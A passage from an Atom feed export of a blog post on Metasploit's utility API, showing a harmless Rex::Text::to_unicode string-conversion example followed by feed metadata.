/&gt;&lt;blockquote style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;&gt;&gt; Rex::Text::to_unicode("hello")&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;=&gt; "h\000e\000l\000l\000o\000"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;This is a nice framework to build testing and automated security and QA solutions around. I will revisit MSF Core API in the next post.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7169594305396268349-2818382304782276088?l=techmeditation.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techmeditation.blogspot.com/feeds/2818382304782276088/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://techmeditation.blogspot.com/2009/05/discovering-metasploit-api-part-one.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7169594305396268349/posts/default/2818382304782276088'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7169594305396268349/posts/default/2818382304782276088'/><link rel='alternate' type='text/html' href='http://techmeditation.blogspot.com/2009/05/discovering-metasploit-api-part-one.html' title='Discovering Metasploit API : Utility functions'/><author><name>snow</name><uri>http://www.blogger.com/profile/16189571007580617159</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
